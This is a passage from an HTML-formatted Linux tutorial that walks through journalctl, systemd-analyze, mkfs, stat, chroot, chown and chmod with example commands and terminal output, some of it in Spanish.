service.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;journalctl -u celery&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Feb &lt;span style=&#34;color:#ff9f43&#34;&gt;25&lt;/span&gt; 22:52:09 yourapp-debian-django sh&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;12677&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: celery multi v4.1.0 &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;latentcall&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Feb &lt;span style=&#34;color:#ff9f43&#34;&gt;25&lt;/span&gt; 22:52:09 yourapp-debian-django sh&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;12677&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &amp;gt; Starting nodes...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;check-for-faults-on-the-service-sheets&#34;&gt;Check for faults on the service sheets&lt;/h3&gt;&#xA;&lt;p&gt;When a service fails due to a misconfigured service sheet, we will want to know the details, to know them we use this command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo systemd-analyze verify &amp;lt;nombre&amp;gt;.service&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Service sheets can be found at&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/usr/lib/systemd/system/&lt;/li&gt;&#xA;&lt;li&gt;/lib/systemd/system/&lt;/li&gt;&#xA;&lt;li&gt;/etc/systemd/system/&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;mkfs&#34;&gt;mkfs&lt;/h2&gt;&#xA;&lt;p&gt;The mkfs command allows us to assign a file system type to a device. This command is not used alone, but each file system has its own command; one for ext3, one for ext4, one for xfs, etc.&lt;/p&gt;&#xA;&lt;p&gt;A file type system will determine whether we can have a fixed or dynamic number of i-nodes in your system.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkfs.ext4 /dev/sdb2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkfs.xfs /dev/hda1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you want to go deeper into this topic, there is a video explaining the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=f0gz-PV3X4Y&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;differences between ext4 and xfs file types.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;stat&#34;&gt;stat&lt;/h2&gt;&#xA;&lt;p&gt;With stat we will obtain more detailed and low-level information about a file.&lt;/p&gt;&#xA;&lt;p&gt;Look at the access options, I will explain later what these digits mean.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;stat file.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Fichero: s.rst&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Tamaño: &lt;span style=&#34;color:#ff9f43&#34;&gt;798&lt;/span&gt;       &#x9;Bloques: &lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt; Bloque E/S: &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; fichero regular&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Dispositivo: 804h/2052d&#x9;Nodo-i: &lt;span style=&#34;color:#ff9f43&#34;&gt;6310391&lt;/span&gt; Enlaces: &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Acceso: &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;0644/-rw-r--r--&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;  Uid: &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt; 1000/ eduardo&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;   Gid: &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt; 1000/ eduardo&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      Acceso: 2021-09-11 15:03:41.464552922 -0500&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Modificación: 2021-09-11 15:03:41.476553169 -0500&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      Cambio: 2021-09-11 15:03:41.496553579 -0500&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Creación: 2021-09-11 15:03:41.464552922 -0500&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;chroot&#34;&gt;chroot&lt;/h2&gt;&#xA;&lt;p&gt;There are situations where we need to change the default root folder address for some more advanced uses, such as creating overlays or containers, such as those in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/what-is-docker-and-what-is-it-for/&#34;&gt;docker&lt;/a&gt;&#xA;. It&amp;rsquo;s because of chroot that &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/how-does-a-docker-container-work-internally/&#34;&gt;docker containers are able to have their own file system&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chroot /my_new_root_directory&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;chown&#34;&gt;chown&lt;/h2&gt;&#xA;&lt;p&gt;Changes the owner of a file to the one we specify. Remember that &lt;strong&gt;in Linux everything is a file&lt;/strong&gt;, so chown can also be used on directories. Another factor to take into account when changing a file owner and/or group, is to make sure that we have the necessary permissions. If you have a problem with &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/understand-permissions-in-gnu-linux-and-the-chmod-command/&#34;&gt;permissions in GNU Linux&lt;/a&gt;&#xA; &lt;strong&gt;enter as super user&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls -la&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total &lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;drwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 12:22 .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;drwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 12:22 ..&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rw-r--r-- &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 12:13 text.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# user: user&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# group: user&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chown root text.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls -la&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total &lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;drwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 12:22 .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;drwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 12:22 ..&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rw-r--r-- &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; root user &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 12:13 text.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; New owner is root&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the above example, we only specify one user. In order to specify a group we must use the syntax of &amp;lsquo;&lt;strong&gt;&lt;em&gt;user:group&amp;rsquo;&lt;/em&gt;&lt;/strong&gt;. Since we only need to change the group we will omit the first part of the above syntax, it will look like &amp;lsquo;&lt;strong&gt;:group&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chown :root text.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls -la&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total &lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;drwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 12:22 .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;drwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 12:22 ..&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rw-r--r-- &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; root root &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 12:13 text.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Ahora el file también pertenece al grupo &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;root&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now let&amp;rsquo;s get everything back to normal using the full syntax: &amp;lsquo;**&lt;em&gt;user:group&amp;rsquo;&lt;/em&gt;****&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chown user:user text.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls -la&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total &lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;drwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 12:22 .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;drwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 12:22 ..&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rw-r--r-- &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 12:13 text.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Nuevamente el file text.txt pertenece al user de nombre &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;user&amp;#39;&lt;/span&gt; y al grupo llamado &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;user&amp;#39;&lt;/span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now let&amp;rsquo;s try changing the user and group of all files and the directory using the &amp;lsquo;&lt;em&gt;-R&lt;/em&gt;&amp;rsquo; option that will allow us to do the same as we did in the previous step with a file, but this time recursively with the contents of a directory.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls -la&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total &lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;drwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; root root &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 13:04 .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;drwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 12:22 ..&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rw-r--r-- &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; root root &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 12:50 .file_oculto.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rw-r--r-- &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; root root &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 13:04 text1.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rw-r--r-- &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; root root &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 13:04 text2.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chown -R user:user . &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls -la&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total &lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;drwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 13:04 .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;drwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 12:22 ..&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rw-r--r-- &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 12:50 .file_oculto.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rw-r--r-- &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 13:04 text1.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rw-r--r-- &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 13:04 text2.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Todos los files del directorio, inclusive los ocultos cambiaron de propietario y grupo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;chmod&#34;&gt;chmod&lt;/h2&gt;&#xA;&lt;p&gt;The previous command allowed us to change the owner and group of a file. This command allows us to modify the permissions of a file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls -la&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total &lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;drwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 14:11 .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;drwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 14:11 ..&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rw-r--r-- &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 14:11 file.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rw-r--r-- &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 14:11 file2.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you can see, the above command shows on the screen that the owner of both files has read and write permissions, the group and others can only read both files. We will modify the permissions in GNU/Linux with the &lt;em&gt;chmod&lt;/em&gt; command to add some extras.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chmod &lt;span style=&#34;color:#ff9f43&#34;&gt;755&lt;/span&gt; file.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls -la&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total &lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;drwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 14:11 .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;drwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 14:11 ..&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 14:11 file.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rw-r--r-- &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 14:11 file2.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now the owner, named user, can read, write and execute &lt;em&gt;file.py&lt;/em&gt;, the group named user and others can read and execute it. The file named &lt;em&gt;file2.py&lt;/em&gt; did not have its permissions changed. This time we will try to use the &amp;lsquo;&lt;em&gt;-R&lt;/em&gt;&amp;rsquo; option to recursively specify the permissions of the entire directory and its contents.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chmod &lt;span style=&#34;color:#ff9f43&#34;&gt;755&lt;/span&gt; -R .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls -la&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;drwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 14:24 .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;drwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 14:23 